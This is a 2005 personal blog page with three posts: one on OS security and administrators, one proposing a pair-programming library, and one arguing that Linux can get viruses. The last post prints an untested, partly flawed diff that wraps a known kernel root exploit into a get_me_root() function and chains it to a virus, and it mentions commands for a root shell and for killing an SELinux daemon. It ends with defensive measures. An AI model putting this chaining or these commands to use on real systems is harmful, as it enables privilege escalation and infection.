Tuesday, February 22, 2005

Which OS is more secure?

Well, the argument came up again. I've been busy playing Xenosaga 2, and haven't been blogging much; but not much has been happening, unless you want me to start blogging security notices or something. In that case you can just check the RSS feeds, which are visible if you click the text above the ads on this blog; icetalk should suffice for that.

The main argument I keep hearing is between "Linux is more secure than Windows" and "Security is a function of the administrator." I have yet to hear anyone actually reach the core issue and unify the two statements, which is what I'm going to do today.

The security of an operating system is a function of the operating system bounded by the competance of the administrator with the tools given to him. This means that simply having a secure OS does not make your OS secure; and simply having a good administrator does not mean he can make your OS secure. You need both.

Operating System Potential

The administrator can only make the operating system as secure as it can potentially be. This means that an OS such as DR-DOS with an added TCP/IP stack running as a Web server can't be secured by the administrator no matter how well he knows DOS. Security must be present in design (pdf).

The OS must supply some level of security. Even if it allows application programs to supply security countermeasures such as access control, it has to protect those programs from malicious attackers. SELinux would be of no use if a quick kill -9 `pidof selinuxd` disabled it.

In addition, the granularity of control over the security that the OS offers is highly important. PaX supplies memory protections which can be individually disabled on executable binaries. Different functionality can be enabled or disabled by the executable header or by supporting access control systems. In contrast, a similar but more coarse grained system may need to be disabled system-wide to disable it for anything, removing protection where it could be left in place.

Administrative Competance

The administrator has to understand the usage of the operating system's tools in order to actually wield the full potential of the system. A Linux machine ran with a distribution using PaX, GrSecurity, SELinux, and DigSig is not more secure than a basic Debian machine if the administrator is a novice who replaces the kernel with a home-built vanilla tree.

The administrator needs to understand basic security concerns as well. A novice user may build a vanilla kernel to "optimize" it for his machine and potentially leave out security enhancements like GrSecurity. He will likely also set enforcing=0 when SELinux breaks things; and probably won't understand the concept of bugfix patches that come with the distribution kernels.

If the administrator does not understand both the usage of the operating system's tools and the basic concepts and concerns of security, he may disable or fail to utilize security tools and patches. Security may be decreased due to administrative overhead; and old vulnerabilities may be reinserted.

Operating System Tools

An OS can offer tools and documentation to help less experienced administrators maintain the system. By doing this, the level of administrative overhead may be significantly reduced, allowing the administrator to rely on the expertise of others in configuring most of the system. These tools must directly configure the security systems, the system, and the applications to be effective.

OpenBSD has high administrative overhead, and so even experienced users are left to repeat work that could be done once and automated. Because of this, some administrators may spend hours setting up daemons and adding users, only to weave a poorly constructed system around a secure core. Both lack of experience and simple thoughtless mistakes could leave gaping security holes which are hard to find and fix.

On the other hand, Mandrake Linux allows simple adjustment of the "security level" of the OS as well as start-up daemons and users. A less experienced administrator would be able to set up a more secure environment under Mandrake than under OpenBSD; however, the administrator would also be more inclined to rely on and trust the tools. Still, less experienced administrators can find and fix their mistakes and easily set up a system properly with the guided installation process.

Conclusions

The security of an OS is a function of the OS itself bounded by the ability of the administrator to properly install, configure, and maintain the system. The upper bound of administrative competance can be raised by supplying better documentation and more effective administrative tools. In any case, security cannot interfere with usability, and so it is important that the granularity of control over invasive security systems such as MAC and memory protection systems is as fine as possible.

Wednesday, February 09, 2005

The buddy system

Recently I've been exploring extreme programming, a concept I was introduced to by college students, and was recently reminded of by some comments on a slashdot post. Today I would like to propose a pair programming utility to help apply the concept of pair programming to a distributed working team, such as those which drive most Open Source Software.

Pair programming is a simple concept. Instead of taking up a piece of code and working on it yourself, you code while another person watches you code and tells you what to do from time to time. In this way, code is reviewed for bugs as it is written; and isolated problems are solved by two minds instead of one. For simplicity, the person typing at the keyboard is known as the driver, while the person watching is known as the navigator.

I recognize pair programming as a more robust implementation of what I do when I code. When I write code, I think about the problem first. As I solve the problem, I write code, reviewing each line as I go and making sure it's doing what I want. I review each block too, where a block is an arbitrary set of code that performs one small function. Once I'm done writing a function, I review the entire function and make sure I didn't screw it up.

Unfortunately, this has limits. While I produce few bugs—one in 50 LOC is easy for me, one in 5000 is highly unrealistic—the bugs I do produce are highly obscure and difficult to locate. This isn't inherant; the code is not obscure, but the problems don't indicate exactly what line of code the bugs are on. As a result, I have to review my own code. This leads to a psychological blindness issue: if I thought it was right when I wrote it, I'll think it's right when I review it.

Pair programming introduces peer review instead of self review. As the driver writes his code, he still thinks about it as normal and notices when something seems blatantly wrong; however, there's now a second programmer watching his code. This produces twice the review on the spot, allowing the navigator to make code suggestions and bug fixes on the fly.

Review by another programmer is higher in quality than self review. Things the driver normally holds a psychological blind spot to are very clear to the other. This is because a person may have an affinity to a small misthought which creates a repeatable mistake. These conditions are isolated in the person's mind; finding someone else's bugs is much easier than finding your own.

The navigator can also make coding and design suggestions to the driver. Rather than having one programmer alternate between typing and thinking, the navigator can continue to think while the driver types. The navigator and driver can both think at the same time, both working on the same problem. Overall, the efficiency of the two programmers is increased beyond one.

With pair programming, the navigator and programmer are both intimately close to the code and involved in close communication. This means that two people who understand what they are working with are able to converse freely. Problem solving occurs more rapidly, because they can discuss developing designs as they think of them, allowing two programmers to concurrently work on and improve a design. Because of this, poor but workable designs are more easily replaced with good designs.

Pair programming also places two programmers on the same code base and the same job at the same time. Because of this, both the navigator and the driver gain a deep understanding of the code and the design for that task. This leaves more than one programmer understanding the program; and by pairing up with different people on various parts of code, knowledge and understanding spreads. Such pairs should of course involve at least one person whose navigated or driven the code before.

In a nutshell, pair programming increases the quality and efficiency of your programming team, increasing their effectiveness at solving problems and desseminating knowledge through them. Pair programming also increases the quality of code, reducing the number of bugs in the finished product.

It has been assessed that the trade-off is well worth it. A pair programming team operates at approximately 85% of the speed of two programmers; however, the team, when functioning properly, produces bugs with only 85% the frequency of individual programmers, according to a study at a Utah university. Locating bugs takes excessive analysis and re-reading of program code, and thus bugs are a great deal more expensive than initial programming time, usually by orders of magnitude.

Unfortunately, in the Open Source community, most programmers are geographically isolated. Pair programming is not an option currently, and its efficiency cannot be harnessed. There are no tools to facilitate pair programming either, although such tools may be possible.

The most important part to remember in designing such tools is that pair programming involves isolated access to programming resources. The programmers share one keyboard and one monitor; terminal sharing programs which allow concurrent access, such as VNC, are inappropriate for this task. They also do not allow fluid communication between programmers.

The most appropriate solution would be a communications, terminal, and text library to aid in the adaptation of existing tools into pair programming. Such a library would need to be able to control who could modify the document in progress; send events between clients to communicate modifications in realtime; and allow a communications pipe between applications.

As this would mostly be used for text, the text delta encoding would likely be best handled as a position-operation pair, such as position=1934,operation=insert:6:"hello;". A command language would be more useful for realtime, however. Such a command stream would be seen as bellow:

POS 1934 // Go to position 1934 INS h // insert h INS e INS l INS O BSP // backspace INS l INS o INS ; POS 1003 DEL // delete the next character, shifting the rest back END // end stream

In practice, the above stream would likely condense each instruction into a single byte. For example, POS could be 0x01, INS could be 0x02 followed by the byte to insert, and so on. Programs like vi would need their own encoding language to be more efficient.

The encoded stream could be huffman compressed as well, which would encode the repetitive instructions into two to three bit representations. Huffman produces output for each set of input that encodes to over a byte, so the stream could automatically flush (END) if a byte wasn't produced in 500mS. Supplying H323v2 Speex encoded voice for an easily available communications pipe may be a good idea as well.

Pair programming increases the efficiency and quality of both a programming team and the code they produce. An Open Source library can be created to allow Open Source Software to easily create a pair programming environment. Such a library would help to allow OSS developers to explore the venues of pair programming and possibly create software quickly and more efficiently.

Saturday, February 05, 2005

Non-root viruses for Linux

I had earlier mentioned that local exploits are remote exploits, and now come back to finish that thought. To complete the idea, I'll bring in the concept of computer viruses, which in general rely on local users running them. This is unlike worms, which propagate on their own via e-mailing themselves around or using remote exploits.

Today I've chosen a simple local root exploit and a virus to base from. Originally I was going to give source for the proof-of-concept; but the Bliss source was never really released. So we'll do this all in theory, no working proof-of-concept.

First, let's examine the exploit. Pretty simple program iSEC put out with straightforward usage. Among other things, ./exploit -c /bin/sh will get you a root shell. This leads us to an easy way to abuse this.

First, we'll want to create a get_me_root() function based on main(). The changes to main() are shown below. Also shown are modifications to some other functions. I haven't tested this, but this is the basic idea: return 0 when we have root. Any other case is bad, probably won't work, probably should die.

--- elflbl_v108.c 2005-02-05 13:38:32.357449720 -0500 +++ elflbl_v108_getmeroot.c 2005-02-05 13:50:09.950399472 -0500 @@ -379,30 +379,31 @@ volatile int r, *v; } signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); - execl(shellname, "sh", NULL); - fatal("execl", 0); + /*no error! We have root :)*/ + return 0; } -void scan_mm_finish(); -void scan_mm_start(); +int scan_mm_finish(); +int scan_mm_start(); // kernel page table scan code -void scan_mm() +int scan_mm() { map_addr -= PAGE_SIZE; if(map_addr <= (unsigned)addr_min) - scan_mm_start(); + return scan_mm_start(); scnt=0; val = *(int*)map_addr; - scan_mm_finish(); + return scan_mm_finish(); } -void scan_mm_finish() +int scan_mm_finish() { + int a; retry: __asm__("movl %0, %%esp" : :"m"(old_esp) ); @@ -413,13 +414,15 @@ retry: sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED); } pidx--; - scan_mm(); + a = scan_mm(); + if (a) + return a; goto retry; } // make kernel page maps before and after allocating LDT -void scan_mm_start() +int scan_mm_start() { static int npg=0; static struct modify_ldt_ldt_s l; @@ -448,7 +451,7 @@ static struct modify_ldt_ldt_s l; } else if(npg == LDT_PAGES) { npg=0; - try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); + return try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE); } else { npg=0; } @@ -459,7 +462,7 @@ static struct modify_ldt_ldt_s l; // save context & scan page table __asm__("movl %%esp, %0" : :"m"(old_esp) ); map_addr = addr_max; - scan_mm(); + return scan_mm(); } @@ -546,7 +549,7 @@ out: // use elf library and try to sleep on kmalloc -void exploitme() +int exploitme() { int r, sz, pcnt=0; static char smiley[]="-\\|/-\\|/"; @@ -647,11 +650,11 @@ expand: signal(SIGCHLD, reaper); signal(SIGSEGV, segvcnt); signal(SIGBUS, segvcnt); - scan_mm_start(); + return scan_mm_start(); failed: fatal("try again", 0); - + return -1; } @@ -698,7 +701,7 @@ int fd; // move stack down #2 -void prepare_finish() +int prepare_finish() { int r; static struct sysinfo si; @@ -735,12 +738,12 @@ static struct sysinfo si; // go go make_lib(); - exploitme(); + return exploitme(); } // move stack down #1 -void prepare() +int prepare() { unsigned p=0; @@ -756,7 +759,7 @@ unsigned p=0; : : "m"(old_esp), "m"(p) ); - prepare_finish(); + return prepare_finish(); } @@ -842,9 +845,12 @@ void usage(char *n) // give -s for forced stop, -b to clean SLAB -int main(int ac, char **av) +int get_me_root() { int r; +/*stuff ac/av with junk*/ +int ac = 1; +char **av = {"no"}; while(ac) { r = getopt(ac, av, "n:l:a:w:c:d:fsh"); @@ -899,7 +905,7 @@ int r; uid = getuid(); setpgrp(); wipe_slab(); - prepare(); -return 0; + /*got root?*/ + returnprepare(); }

Now that we have this, we'll do two more things: first, we'll assume Bliss can have its main() changed to run_bliss(). Second, we'll create our main().

int main() { if (getuid()) get_me_root(); if (!getuid()) run_bliss(); return 0; }

This is deceptively simple. The above simply executes any generic get_me_root(), such as the modified uselib() exploit or any other local root exploit, to get Bliss root. Then, any random user downloads a program infected with Bliss, runs it, and winds up infecting /usr/bin with viruses.

A slightly more complex virus could use getuid() to track the UID of the user before getting root access, and switch back afterwards, thus maintaining a better guise by not running any infected process as root. In either case, this displays something important: Linux can get viruses.

I believe that if Linux goes mainstream, it will be plagued by viruses, worms, trojans, and spyware to a lesser degree than Windows. This is because the local exploits needed to get root access and spread only have a short window of a few days to a few months, and thus such viruses will die in the wild after a short lifecycle. Nevertheless, steps must be taken to prevent infection in the worst case.

Currently ClamAV supplies the traditional anti-virus solution to viruses. This is good; but a user interface for Clam does not yet exist. ClamAV does not communicate with a process sitting in the Gnome notification area/system tray, and so user interaction with ClamAV is minimal. Still, ClamAV runs well as a daemon and can automatically locate and remove malicious code from the system--if a virus doesn't get root access and destroy it first.

ClamAV can be deployed with Dazuko to use Clamuko, an on-access scanner to check programs for viruses as soon as they're run. RSBAC comes with Dazuko, and allows malware scanning to be deferred to ClamAV via the MS module. This can catch known virus code as a user attempts to access it.

Neither of these solutions works proactively. The potential gap between a new virus being deployed and its discovery and integration into an anti-virus database is dangerous. The local exploits used could even be gone by that time. Digital signing of binaries, such as with DigSig, closes this gap by detecting changes to programs and libraries as they are loaded.

Viruses are not yet a reality on Linux, but they can easily become one. Linux won't be ready for mainstream until the standard distribution comes with countermeasures to stop viruses from spreading. This most likely will have to take the form of digitally signed binaries.